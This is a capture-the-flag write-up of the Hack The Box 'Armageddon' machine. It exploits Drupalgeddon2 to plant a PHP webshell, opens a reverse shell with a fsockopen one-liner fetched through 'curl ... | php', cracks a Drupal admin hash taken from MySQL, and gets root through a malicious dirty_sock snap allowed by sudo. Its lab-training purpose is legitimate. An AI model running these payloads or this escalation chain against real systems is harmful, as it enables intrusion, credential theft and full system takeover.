Creator: bertolis
Easy and multi-way machine. We use Drupalgeddon2 (SA-CORE-2018-002) vuln to get a reverse shell. Then we abuse our sudo privileges by installing a malicious snap package payload. Hope you'll find it useful; if so, consider suporting a student to get OSCP exam and +respecting my profile in HTB.
Now, let me get right into it.
As always, we start with nmap.
nmap -sS -sC -sV -p- -T4 -O 10.10.10.233PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
| 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to Armageddon | ArmageddonThe only port open except 22/ssh is 80/http.
http-generatorisDrupal 7- Supports PHP (look at the
http-server-header)
Good by far. Let's have a look at what is Drupal
Drupal is a free and open-source web content management framework written in PHP and distributed under the GNU General Public License. Drupal provides a back-end framework for at least 13% of the top 10,000 websites worldwide – ranging from personal blogs to corporate, political, and government sites.
Okay, now ima go'n see the webpage.
A login form (bu not working for new registrants).
In its source codes, there's a file named CHANGELOG.txt.
┌──(root💀f4T1H)-[~/hackthebox/armageddon]
└─> curl -s http://10.10.10.233/CHANGELOG.txt | head
Drupal 7.56, 2017-06-21
-----------------------
- Fixed security issues (access bypass). See SA-CORE-2017-003.
Drupal 7.55, 2017-06-07
-----------------------
- Fixed incompatibility with PHP versions 7.0.19 and 7.1.5 due to duplicate
DATE_RFC7231 definition.
- Made Drupal core pass all automated tests on PHP 7.1.The last change on the version we see is moving to 7.56.
┌──(root💀f4T1H)-[~/hackthebox/armageddon]
└─> searchsploit drupal 7.56
----------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ---------------------------------
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit) | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC) | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Executio | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasp | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC) | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Exe | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution | php/webapps/46459.py
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Resultsphp/webapps/44449.rb Let's try that one.
┌──(root💀f4T1H)-[~/hackthebox/armageddon]
└─> searchsploit -m php/webapps/44449.rb
Exploit: Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution
URL: https://www.exploit-db.com/exploits/44449
Path: /usr/share/exploitdb/exploits/php/webapps/44449.rb
File Type: Ruby script, ASCII text, with CRLF line terminators
Copied to: /root/hackthebox/armageddon/44449.rb
┌──(root💀f4T1H)-[~/hackthebox/armageddon]
└─> ruby 44449.rb
ruby: warning: shebang line ending with \r may cause problems
Usage: ruby drupalggedon2.rb <target> [--authentication] [--verbose]
Example for target that does not require authentication:
ruby drupalgeddon2.rb https://example.com
Example for target that does require authentication:
ruby drupalgeddon2.rb https://example.com --authentication
┌──(root💀f4T1H)-[~/hackthebox/armageddon]
└─> ruby 44449.rb http://10.10.10.233/
ruby: warning: shebang line ending with \r may cause problems
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.10.10.233/
--------------------------------------------------------------------------------
[+] Found : http://10.10.10.233/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.56
--------------------------------------------------------------------------------
[*] Testing: Form (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Clean URLs
[!] Result : Clean URLs disabled (HTTP Response: 404)
[i] Isn't an issue for Drupal v7.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution (Method: name)
[i] Payload: echo OPOYLTOW
[+] Result : OPOYLTOW
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file (http://10.10.10.233/shell.php)
[i] Response: HTTP 404 // Size: 5
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake PHP shell: curl 'http://10.10.10.233/shell.php' -d 'c=hostname'
armageddon.htb>>id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
armageddon.htb>>But we can't get a reverse shell from there, we face the following thing when we try.
[!] WARNING: Detected an known bad character (>)
Let's interact with the webshell directly and reverse connnect a shell.
First create a file named shell.
Put the followings inside the file.
<?php $sock=fsockopen("10.10.14.XX",2121);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>Open a web server using php
Do the curl request as follows.
┌──(root💀f4T1H)-[~/hackthebox/armageddon]
└─> curl -s http://10.10.10.233/shell.php -d 'c=curl 10.10.14.77/shell | php'
PHP Warning: fsockopen(): unable to connect to 10.10.14.77:2121 (Permission denied) in - on line 1
PHP Warning: proc_open(): Descriptor item must be either an array or a File-Handle in - on line 1We got some error. Let's make it reverse connect to us from well known ports.
Change the port both in your nc listener and reverse shell.
We CAN NOT spawn a tty shell unfortunately. We find mysql credentials in one of the files by grepping recursively.
Interactive mysql console is not working properly (since we don't have a tty). So we execute our commands by giving the mysql executable as a parameter.
sh-4.2$ mysql -h localhost -u drupaluser -pCQHEy@9M*m23gBVj -e "select * from drupal.users"
<-u drupaluser -pCQHEy@9M*m23gBVj -e "select * from drupal.users"
uid name pass mail theme signature signature_format created access login status timezone language picture init data
0 NULL 0 0 0 0 NULL 0 NULL
1 brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt admin@armageddon.eu filtered_html 1606998756 1607077194 1607076276 1 Europe/London 0 admin@armageddon.eu a:1:{s:7:"overlay";i:1;}hashcat --example-hashes | less
hashcat hash -m 7900 /usr/share/wordlists/rockyou.txt
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo
We can now ssh into brucetherealadmin.
[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR
USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User brucetherealadmin may run the following commands on armageddon:
(root) NOPASSWD: /usr/bin/snap install *
[brucetherealadmin@armageddon ~]$Okay, let's google about exploits related with sudo. I found that one rigth here: https://github.com/initstring/dirty_sock
But we can't just execute that script as it does not work.
I used the trojan in the dirty_sockv2.py and write a script in order to just execute and become root. You can find it here
[brucetherealadmin@armageddon shm]$ chmod u+x lpe.py
[brucetherealadmin@armageddon shm]$ ./lpe.py
[+] Creating file...
[+] Writing base64 decoded trojan...
[+] Installing malicious snap...
dirty-sock 0.1 installed
[+] Deleting snap package...
[+] Granting setuid perms to bash as root...
[+] Here comes the PoC:
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[+] Deleting the previously created user...
[+] Becoming root...
.bash-4.2> id
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) euid=0(root) egid=0(root) groups=0(root),1000(brucetherealadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
.bash-4.2> cut -c1-21 /root/root.txt
ced45363f68f009277256
.bash-4.2> exit
exit
[+] Removing footprint...
DONE!
[brucetherealadmin@armageddon shm]$ And we sucessfully pwned the box.
If you liked the writeup, please consider suporting a student to get OSCP exam and +respecting my profile in HTB.
Original dirty_sock |
https://github.com/initstring/dirty_sock |
|---|---|
dirty_sock Remastered |
https://git.io/dirty_sock |
-Written by f4T1H-